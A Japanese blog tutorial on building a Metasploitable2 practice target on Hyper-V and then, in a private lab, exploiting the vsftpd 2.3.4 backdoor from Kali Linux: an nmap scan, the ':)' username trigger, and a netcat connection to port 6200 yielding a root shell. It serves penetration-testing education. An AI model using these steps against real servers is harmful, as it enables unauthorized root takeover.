このエントリーをはてなブックマークに追加 にほんブログ村 IT技術ブログへ
にほんブログ村
目次

※注意事項※

この記事には、セキュリティの脆弱性をつく攻撃手法を具体的に示しています。この記事で記載している攻撃を許可なく他のサイトや他人のサーバーやPCなどに絶対に行わないでください。
本サイトおよび本記事の著者は、本記事の読者が記事に記載してある内容を参考にして他のサイトや他人に害を与えたとしても、一切の責任を負いません。

はじめに

今回は、Kali Linux本体についてはあまり述べませんが、Kali Linuxを使って実際にペネトレーションテストを行う環境(つまり、攻撃する環境)を作っていきます。
攻撃すると言うと言い方が悪いかもしれませんが、実際にクラッカー(Crime Hackerの略: 犯罪を犯すハッカー)と同じ攻撃を標的に対して行って耐えられるかどうか、問題が起こらないかどうかをテストすることがペネトレーションテストです。
つまり、クラッカーと同じことを行うテストであることから、標的(IPアドレス等)を間違えててしまうと、インターネット上のサイトやネットワーク内のサーバー等に許可なく攻撃を行ってしまう可能性があります。
このような背景から、今回はペネトレーションテストのターゲットの環境、つまり、ペネトレーションテストの実験環境/練習環境の作り方を紹介します。
攻撃対象のPCとして、ここでは「Metasploitable2」のイメージを使用します。

「Metasploitable2」とは

「Metasploitable2」とは、Metasploitというペネトレーションテストツールによるペネトレーションの練習やテストに使用するために、わざと脆弱性を持たせた仮想PCです。この仮想PCのOSはLinuxで、以下のサイトから仮想ディスクイメージをダウンロードできます。

Metasploitable 日本語情報トップページ(https://ja.osdn.net/projects/sfnet_metasploitable/)

ダウンロードした仮想ディスクイメージは、仮想環境「VMWare」や「VirtualBox」のイメージですが、ここでは、仮想環境としてHyper-Vを使用します。(Hyper-Vを使用する理由は、単に筆者の所有している環境上で都合が良いためです。)

Hyper-VでMetasploitable2を実行する手順

Metasploitable2は、仮想環境「VMWare」や「VirtualBox」のイメージであることから、Hyper-V環境で動かすには、ファイルの変換が必要です。このファイルの変換を行えるのが「」ですが、2021年4月1日現在で、MicrosoftのDownload Centerからはダウンロードできなくなっていました。
従って、以下のArchive.orgのキャッシュからダウンロードする必要がありますが、ダウンロードと利用に関しては、ご自身の判断で行ってください。

「Archive.orgのキャッシュ」(https://web.archive.org/web/20200812033617if_/https://www.microsoft.com/en-us/download/confirmation.aspx?id=42497)

以下のサイトで、ここのキャッシュで入手したファイルが、オリジナルのファイルと同一であることが示されています。
「Microsoft Virtual Machine Converter のダウンロード」(https://qiita.com/kenichiuda/items/be3c704f970374f34feb)

ダウンロードしたMVMCを以下の手順でインストールします。

MVMCを以下の手順でインストールします。

ダウンロードした「mvmc_setup.msi」を実行します。

kali_005_01.png
「Next」をクリックします。

kali_005_02.png
「I accept the terms in the License Agreement.」にチェックを入れて「Next」をクリックします。

kali_005_03.png
「Next」をクリックします。必要に応じてインストール先ディレクトリを変更します。

kali_005_04.png
「Install」をクリックします。

kali_005_05.png
インストールが始まります。ユーザーアカウント制御(UAC)が出たら、「はい」をクリックします。

kali_005_06.png
インストールはこれで完了です。「Finish」をクリックしてインストーラーを終了します。


インストール後は、コマンドプロンプトを管理者権限で開き、Powershellを実行します。


metasploitable2を展開したフォルダに移動し、Powershell上で以下のコマンドを実行します。

PS C:\> Import-Module 'C:\Program Files\Microsoft Virtual Machine Converter\MvmcCmdlet.psd1'

PS C:\> ConvertTo-MvmcVirtualHardDisk -SourceLiteralPath "Metasploitable.vmdk" -VhdType DynamicHardDisk -VhdFormat Vhdx -Verbose


上記の実行中は、下図のようなイメージです。
kali_005_07.png

変換が終了すると、「Metasploitable.vhdx」ができているので、このファイルをHyper-VのVHDXの置き場所(環境によって異なります)にコピーまたは移動させます。

Hyper-Vマネージャーで、新規に仮想マシンを作ります。
作る時の手順は、筆者は以下の通りに行いました。

まず、仮想マシンに適当な名前を付けます。
kali_005_08.png

仮想マシンは「第1世代(1)」を選択します。
kali_005_09.png

メモリの割り当ては、とりあえず2GBもあれば十分です。
kali_005_10.png

ネットワーク構成は、まずは「接続しない」としておきます。(後で設定します)
kali_005_11.png

仮想ディスクの接続で、「既存の仮想ハードディスクを使用する(U)」を選択し、「Metasploitable.vhdx」を選択します。
kali_005_12.png

「完了」をクリックして、一旦仮想マシンの作成を完了させます。
kali_005_13.png

ネットワーク設定

仮想マシンの設定を開き、左側のメニューから「ハードウェアの追加」を選択します。
次に、「レガシ ネットワーク アダプター」を選択し、「追加(D)」ボタンをクリックします。
kali_005_14.png

元々作成済みの「ネットワーク アダプター」を選択し、「削除(R)」ボタンをクリックします。下図は、削除ボタンを押した後のイメージです。
kali_005_15.png

「適用(A)」ボタンをクリックします。下図は、適用ボタンを押した後のイメージです。
kali_005_16.png

「レガシ ネットワーク アダプター」の「高度な機能」を選択し、「ポート ミラーリング」のミラーリングモードを「移行元」にしておきます。
これにより、このネットワークアダプタ上のパケットをもれなく取得することができるようになります。
kali_005_17.png

「レガシ ネットワーク アダプター」を選択し、「仮想スイッチ(S)」で任意の仮想スイッチを設定します。
「metasploitable2」は脆弱性のある仮想マシンなので、仮想スイッチマネージャーで作成する仮想スイッチは、「内部」や「プライベート」な仮想スイッチ、または完全にローカルなネットワークを設定し、他のPCから接続できないようにしておくのが安全だと思います。
kali_005_18.png

仮想マシンを起動します。下図は起動中のイメージですが、かなり時間がかかります。
kali_005_19.png

下図は、もう一枚の起動中の状態のイメージですが、bind, sshd, mysqld, PostgreSQL, NFS, Postfix, Samba, ftp, Tomcat apacheなど名だたるサービスが実行されていることがわかります。
これらは、おそらく脆弱性のあるバージョンが選ばれていることが容易に想像出kます。
kali_005_20.png

起動後は、下図のようなイメージです。ユーザー名とパスワードは、それぞれ、
ユーザー名: msfadmin
パスワード: msfadmin
を入力します。
kali_005_21.png

これで「metasploitable2」をHyper-V上で動かすことができました。
この仮想マシンは、使う時だけ起動して、使わないときはシャットダウンしておくようにします。
シャットダウンは、以下のようにログイン後にシャットダウンコマンドを実行します。(Hyper-V上でのシャットダウンだとうまくいかないようです)

$ sudo shutdown -h now

 

試しに攻撃してみる

ペネトレーションテストや攻撃の実験台としてのMetasploitable2の仮想マシンができたので、実際にMetasploitable2の仮想マシンに対して攻撃を仕掛けてみます。
今回お試しで行う攻撃は、Metasploitable2にインストールされている「vsftpd 2.3.4」の脆弱性に対する攻撃です。
脆弱性の内容としては、明らかに意図的にバックドアを仕込んだか、テスト後に取り忘れたかだと想像するのですが、このような攻撃ができると、本当に「ヤバイ」と思います。

では、さっそくMetasploitable2の仮想マシンとKali LinuxのPCを起動します。
ネットワーク環境としては、今回は、以下のIPアドレスで実験を行いました。

Metasploitable2の仮想マシン 192.168.0.99
Kali LinuxのPC 192.168.0.23

まずはKali LinuxのPCから、Terminalを開き、「nmap」というコマンドを実行します。この「nmap」は、知る人ぞ知るペネトレーションテストの常套ツールです。
まずは、Metasploitable2のポートスキャンを行ってみます。なお、nmapの実行は、スーパーユーザーである必要があります。

$ sudo nmap -sS -A 192.168.0.99
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-06 22:34 JST
Nmap scan report for 192.168.0.99
Host is up (0.043s latency).
Not shown: 977 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.0.23
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
|_ssl-date: 2021-04-06T13:34:43+00:00; -9s from scanner time.
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|_    SSL2_RC4_128_EXPORT40_WITH_MD5
53/tcp   open  domain      ISC BIND 9.4.2
| dns-nsid: 
|_  bind.version: 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp  open  rpcbind     2 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/udp   nfs
|   100005  1,2,3      41682/udp   mountd
|   100005  1,2,3      43592/tcp   mountd
|   100021  1,3,4      38738/tcp   nlockmgr
|   100021  1,3,4      41139/udp   nlockmgr
|   100024  1          39362/tcp   status
|_  100024  1          39649/udp   status
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login
514/tcp  open  tcpwrapped
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
| mysql-info: 
|   Protocol: 10
|   Version: 5.0.51a-3ubuntu5
|   Thread ID: 9
|   Capabilities flags: 43564
|   Some Capabilities: ConnectWithDatabase, SupportsTransactions, LongColumnFlag, SupportsCompression, Speaks41ProtocolNew, Support41Auth, SwitchToSSLAfterHandshake
|   Status: Autocommit
|_  Salt: Cz^I0U 5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
|_ssl-date: 2021-04-06T13:34:43+00:00; -9s from scanner time.
5900/tcp open  vnc         VNC (protocol 3.3)
| vnc-info: 
|   Protocol version: 3.3
|   Security types: 
|_    VNC Authentication (2)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
| irc-info: 
|   users: 1
|   servers: 1
|   lusers: 1
|   lservers: 0
|   server: irc.Metasploitable.LAN
|   version: Unreal3.2.8.1. irc.Metasploitable.LAN 
|   uptime: 0 days, 0:05:49
|   source ident: nmap
|   source host: 8CEBD883.F0D9233E.FFFA6D49.IP
|_  error: Closing Link: hxdfvqpkm[192.168.0.23] (Quit: hxdfvqpkm)
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/5.5
MAC Address: 00:15:5D:20:BB:1E (Microsoft)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 59m50s, deviation: 2h00m00s, median: -9s
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: , NetBIOS MAC: (unknown)
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: metasploitable
|   NetBIOS computer name: 
|   Domain name: localdomain
|   FQDN: metasploitable.localdomain
|_  System time: 2021-04-06T09:34:33-04:00
| smb-security-mode: 
|   account_used:
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE
HOP RTT      ADDRESS
1   43.05 ms 192.168.0.99

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.95 seconds

この結果の多くが攻撃対象となる、ということをまずは知っておいていただきたいと思います。
この結果中で、今回は、以下のvsftpdのところを攻撃していきます。

21/tcp   open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.0.23
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status

まずは、ftpでログインを試みます。
ここで使用するユーザー名は、最後に「:)」を入力するように「1234567:)」とします。
パスワードは、Enterするだけでよいです。

$ ftp 192.168.0.99
Connected to 192.168.0.99.
220 (vsFTPd 2.3.4)
Name (192.168.0.99:tomizo-no2): 1234567:)
331 Please specify the password.
Password:

この状態で、実は6200ポートが、バックドアとしてオープンされていて、「どんなコマンドでもroot権限で実行」できてしまいます。

では、以下のようにバックドアにつないでみます。

$ nc -nv 192.168.0.99 6200
(UNKNOWN) [192.168.0.99] 6200 (?) open

応答は特に何もありませんが、すでにどんなコマンドでも受け付けられるようになっています。

この時のnetstatの状態は以下の通りです。

$ netstat -an | grep 6200
tcp        0      0 192.168.0.23:57554      192.168.0.99:6200       ESTABLISHED

statusがESTABLISHEDとなっているので、バックドアに接続できていることがわかります。

試しに、以下のように打ち込んでみます。

LANG=C
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

応答が返ってきましたね。
続いて、このMetasploitable2の仮想マシン固有の情報の出力としてネットワーク設定を見てみます。(ifconfigを実行します。)

ifconfig
eth0      Link encap:Ethernet  HWaddr 00:15:5d:20:bb:1e  
          inet addr:192.168.0.99  Bcast:192.168.0.255  Mask:255.255.255.0
          inet6 addr: fe80::215:5dff:fe20:bb1e/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2752 errors:0 dropped:551 overruns:0 frame:0
          TX packets:2351 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:220004 (214.8 KB)  TX bytes:469176 (458.1 KB)
          Interrupt:9 Base address:0xec00 

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:16608 errors:0 dropped:0 overruns:0 frame:0
          TX packets:16608 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:15462097 (14.7 MB)  TX bytes:15462097 (14.7 MB)

IPアドレスが、Metasploitable2の仮想マシンになっていますね。

引き続き、「whoami」と入力します。

whoami
root

rootであることがわかります。
つまり、パスワードなしに、完全にMetasploitable2の仮想マシンを乗っ取れたことになります。

まとめ

実際に攻撃してみて、正直言ってセキュリティの脆弱性の恐ろしさがわかると思います。
何といっても、パスワードなしで攻撃対象のサーバーのスーパーユーザーになれるのですから。
やり方さえわかれば、それほど苦も無く攻撃ができてしまうことが分かったと思います。

こういった脆弱性はまだまだ多くありますし、今後もソフトウェアのバージョンアップや新たなソフトウェアやOSが出てくると共に脆弱性もどんどん見つかっていきます。
システムやサイトの管理者であれば、こういった脆弱性は、一つも残すことなく対策しなければなりません。
そうしないと、いつしか甚大な被害を被る可能性がありますから。
そのためには、多くの脆弱性を知るだけでなく、その脆弱性を突く攻撃手法を知り、防ぐ方法を知って対策していかなければなりません。

次回からは、Kali Linuxにある様々なペネトレーションテストツールについて、紹介していきたいと思います。
その中で、過去の脆弱性や攻撃手法、対策などについても解説できれば、と思っています。


 

関連記事
kali-linux-raspi.png

Kali Linux 2020.4のインストール手順(Raspberry Pi 4B版)

2021/02/23 21:57
Raspberry Pi 4BにKali Linux 2020.4を入れてみたときの手順を紹介します。
kali-linux.png

Kali Linux 2020.4 のインストール後の初期設定

2021/02/20 14:00
Kali Linux 2020.4のインストール後の初期設定の手順概要を紹介します。
kali-linux.png

Kali Linux 2020.4 インストール手順

2021/02/15 21:28
Kali Linux 2020.4のインストールの手順概要を紹介します。
kali-linux.png

Kali Linuxとは

2021/02/14 23:01
Kali Linux(カーリー・リナックス/カリ・リナックス)は、ペネトレーションテストを主な目的としているDebianベースのLinuxディストリビューションです。Kali…